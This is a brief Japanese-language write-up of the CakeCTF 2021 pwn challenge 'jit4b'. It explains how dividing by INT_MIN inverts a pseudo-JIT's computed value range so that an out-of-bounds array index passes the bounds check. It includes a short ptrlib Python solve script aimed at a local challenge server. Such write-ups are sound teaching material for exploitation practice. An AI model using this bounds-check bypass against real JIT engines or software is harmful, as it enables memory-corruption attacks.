# [pwn] jit4b - CakeCTF 2021 ###### tags: `CakeCTF 2021` C++で疑似JITみたいなのが実装されている。数学的な関数を作ったりできて、`f(x)` を呼べる。 `arr[f(x)]` になっているので範囲外参照をできれば勝ちだけど、JITで先に抽象的にboundを計算しているので、JITでは大丈夫にみえるけど実際は大丈夫じゃない、という感じにしないといけない `x` をINT_MINで割ったときにmin / maxの範囲が`0 <= Range(1, 0) < 3` と逆転していることがわかるので、これを利用して解く ```python= from ptrlib import Socket sock = Socket("localhost", 9002) sock.sendlineafter("> ", "4") sock.sendlineafter("value: ", "-2147483648") sock.sendlineafter("> ", "1") sock.sendlineafter("value: ", "2") sock.sendlineafter("> ", "7") sock.sendlineafter("`f`?\nx = ", "-2147483648") sock.interactive() ```